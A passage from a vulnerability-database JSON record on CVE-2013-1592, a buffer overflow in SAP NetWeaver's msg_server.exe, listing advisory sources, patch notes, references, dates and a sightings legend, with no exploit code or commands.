of advisory\n\n\n- -- Credit:\nThis vulnerability was discovered by:\n* e6af8de8b1d4b2b6d5ba2610cbf9cd38\n\n\n- -- About the Zero Day Initiative (ZDI):\nEstablished by TippingPoint, The Zero Day Initiative (ZDI) represents \na best-of-breed model for rewarding security researchers for responsibly\ndisclosing discovered vulnerabilities. \n\nResearchers interested in getting paid for their security research\nthrough the ZDI can find more information and sign-up at:\n\n http://www.zerodayinitiative.com\n\nThe ZDI is unique in how the acquired vulnerability information is\nused. Instead, upon notifying the affected product vendor,\nTippingPoint provides its customers with zero day protection through\nits intrusion prevention technology. Explicit details regarding the\nspecifics of the vulnerability are not exposed to any parties until\nan official vendor patch is publicly available. Furthermore, with the\naltruistic aim of helping to secure a broader user base, TippingPoint\nprovides this vulnerability information confidentially to security\nvendors (including competitors) who have a vulnerability protection or\nmitigation product. \n\nOur vulnerability disclosure policy is available online at:\n\n http://www.zerodayinitiative.com/advisories/disclosure_policy/\n\nFollow the ZDI on Twitter:\n\n http://twitter.com/thezdi\n\n-----BEGIN PGP SIGNATURE-----\nVersion: PGP Desktop 10.2.0 (Build 1950)\nCharset: utf-8\n\nwsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM\nyIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1\nVuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X\nuqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE\nNiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi\nTsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg==\n=FVga\n-----END PGP SIGNATURE-----\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2013-1592"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "BID",
"id": "57956"
},
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "PACKETSTORM",
"id": "120350"
},
{
"db": "PACKETSTORM",
"id": "114323"
}
],
"trust": 5.49
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=24511",
"trust": 0.1,
"type": "exploit"
}
],
"sources": [
{
"db": "VULMON",
"id": "CVE-2013-1592"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2013-1592",
"trust": 2.9
},
{
"db": "BID",
"id": "57956",
"trust": 2.0
},
{
"db": "SECTRACK",
"id": "1028148",
"trust": 1.7
},
{
"db": "EXPLOIT-DB",
"id": "24511",
"trust": 1.7
},
{
"db": "ZDI",
"id": "ZDI-12-111",
"trust": 0.9
},
{
"db": "CNVD",
"id": "CNVD-2012-3434",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2012-3433",
"trust": 0.8
},
{
"db": "ZDI",
"id": "ZDI-12-112",
"trust": 0.8
},
{
"db": "ZDI",
"id": "ZDI-12-104",
"trust": 0.8
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127",
"trust": 0.8
},
{
"db": "ZDI_CAN",
"id": "ZDI-CAN-1396",
"trust": 0.7
},
{
"db": "ZDI_CAN",
"id": "ZDI-CAN-1394",
"trust": 0.7
},
{
"db": "ZDI_CAN",
"id": "ZDI-CAN-1395",
"trust": 0.7
},
{
"db": "BID",
"id": "54229",
"trust": 0.6
},
{
"db": "BID",
"id": "54231",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201302-367",
"trust": 0.6
},
{
"db": "IVD",
"id": "29348194-1F62-11E6-ABEF-000C29C66E3D",
"trust": 0.2
},
{
"db": "IVD",
"id": "29FDB3DE-1F62-11E6-ABEF-000C29C66E3D",
"trust": 0.2
},
{
"db": "VULMON",
"id": "CVE-2013-1592",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "120350",
"trust": 0.1
},
{
"db": "PACKETSTORM",
"id": "114323",
"trust": 0.1
}
],
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "BID",
"id": "57956"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "PACKETSTORM",
"id": "120350"
},
{
"db": "PACKETSTORM",
"id": "114323"
},
{
"db": "CNNVD",
"id": "CNNVD-201302-367"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"id": "VAR-202001-0832",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
}
],
"trust": 1.87111164
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"ICS"
],
"sub_category": null,
"trust": 1.6
}
],
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
}
]
},
"last_update_date": "2024-11-29T22:41:12.054000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "SAP has issued an update to correct this vulnerability.",
"trust": 1.4,
"url": "https://websmp230.sap-ag.de/sap(bD1lbiZjPTAwMQ==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649840"
},
{
"title": "top page",
"trust": 0.8,
"url": "https://www.sap.com/japan/index.html"
},
{
"title": "SAP has issued an update to correct this vulnerability.",
"trust": 0.7,
"url": "https://websmp230.sap-ag.de/sap(bD1lbiZjPTAwMQ==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649838"
},
{
"title": "SAP Netweaver ABAP \u0027msg_server.exe\u0027 parameter name patch for remote code execution vulnerability",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/18435"
},
{
"title": "SAP Netweaver ABAP \u0027msg_server.exe\u0027 patch for buffer overflow vulnerability",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/18434"
},
{
"title": "martingalloar",
"trust": 0.1,
"url": "https://github.com/martingalloar/martingalloar "
},
{
"title": "publications",
"trust": 0.1,
"url": "https://github.com/martingalloar/publications "
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-120",
"trust": 1.0
},
{
"problemtype": "Classic buffer overflow (CWE-120) [NVD Evaluation ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.6,
"url": "http://www.coresecurity.com/content/sap-netweaver-msg-srv-multiple-vulnerabilities"
},
{
"trust": 1.7,
"url": "http://www.securityfocus.com/bid/57956"
},
{
"trust": 1.7,
"url": "https://packetstormsecurity.com/files/cve/cve-2013-1592"
},
{
"trust": 1.7,
"url": "http://www.exploit-db.com/exploits/24511"
},
{
"trust": 1.7,
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/82064"
},
{
"trust": 1.7,
"url": "http://www.securitytracker.com/id/1028148"
},
{
"trust": 1.5,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1592"
},
{
"trust": 1.4,
"url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649840"
},
{
"trust": 0.7,
"url": "https://websmp230.sap-ag.de/sap(bd1lbizjptawmq==)/bc/bsp/spn/sapnotes/index2.htm?numm=1649838"
},
{
"trust": 0.6,
"url": "http://seclists.org/bugtraq/2012/jun/186"
},
{
"trust": 0.6,
"url": "http://seclists.org/bugtraq/2012/jun/185"
},
{
"trust": 0.3,
"url": "http://www.sap.com/platform/netweaver/index.epx"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/120.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "http://tools.cisco.com/security/center/viewalert.x?alertid=28248"
},
{
"trust": 0.1,
"url": "https://www.exploit-db.com/exploits/24511/"
},
{
"trust": 0.1,
"url": "https://github.com/martingalloar/martingalloar"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://service.sap.com/sap/support/notes/1800603."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-1593"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com/advisories/zdi-12-104/."
},
{
"trust": 0.1,
"url": "http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm."
},
{
"trust": 0.1,
"url": "http://www.sap.com/platform/netweaver/index.epx."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm."
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com/advisories/zdi-12-112/."
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com/advisories/zdi-12-111/."
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com/advisories/disclosure_policy/"
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com/advisories/zdi-12-111"
},
{
"trust": 0.1,
"url": "http://twitter.com/thezdi"
},
{
"trust": 0.1,
"url": "http://www.tippingpoint.com"
},
{
"trust": 0.1,
"url": "http://www.zerodayinitiative.com"
},
{
"trust": 0.1,
"url": "http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1"
}
],
"sources": [
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "BID",
"id": "57956"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "PACKETSTORM",
"id": "120350"
},
{
"db": "PACKETSTORM",
"id": "114323"
},
{
"db": "CNNVD",
"id": "CNNVD-201302-367"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"db": "BID",
"id": "57956"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"db": "PACKETSTORM",
"id": "120350"
},
{
"db": "PACKETSTORM",
"id": "114323"
},
{
"db": "CNNVD",
"id": "CNNVD-201302-367"
},
{
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-07-02T00:00:00",
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"date": "2012-07-02T00:00:00",
"db": "IVD",
"id": "29fdb3de-1f62-11e6-abef-000c29c66e3d"
},
{
"date": "2012-06-28T00:00:00",
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"date": "2012-06-28T00:00:00",
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"date": "2012-06-27T00:00:00",
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"date": "2012-07-02T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"date": "2012-07-02T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"date": "2020-01-23T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"date": "2013-02-13T00:00:00",
"db": "BID",
"id": "57956"
},
{
"date": "2020-02-14T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"date": "2013-02-15T23:44:44",
"db": "PACKETSTORM",
"id": "120350"
},
{
"date": "2012-06-29T02:30:35",
"db": "PACKETSTORM",
"id": "114323"
},
{
"date": "2013-02-22T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201302-367"
},
{
"date": "2020-01-23T19:15:11.327000",
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2012-06-28T00:00:00",
"db": "ZDI",
"id": "ZDI-12-112"
},
{
"date": "2012-06-28T00:00:00",
"db": "ZDI",
"id": "ZDI-12-111"
},
{
"date": "2012-06-27T00:00:00",
"db": "ZDI",
"id": "ZDI-12-104"
},
{
"date": "2012-07-02T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3434"
},
{
"date": "2012-07-02T00:00:00",
"db": "CNVD",
"id": "CNVD-2012-3433"
},
{
"date": "2020-01-31T00:00:00",
"db": "VULMON",
"id": "CVE-2013-1592"
},
{
"date": "2013-06-12T18:46:00",
"db": "BID",
"id": "57956"
},
{
"date": "2020-02-14T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-007127"
},
{
"date": "2020-05-26T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201302-367"
},
{
"date": "2020-01-31T17:08:36.590000",
"db": "NVD",
"id": "CVE-2013-1592"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "120350"
},
{
"db": "PACKETSTORM",
"id": "114323"
},
{
"db": "CNNVD",
"id": "CNNVD-201302-367"
}
],
"trust": 0.8
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "SAP Netweaver ABAP \u0027msg_server.exe\u0027 Parameter name remote code execution vulnerability",
"sources": [
{
"db": "IVD",
"id": "29348194-1f62-11e6-abef-000c29c66e3d"
},
{
"db": "CNVD",
"id": "CNVD-2012-3434"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201302-367"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.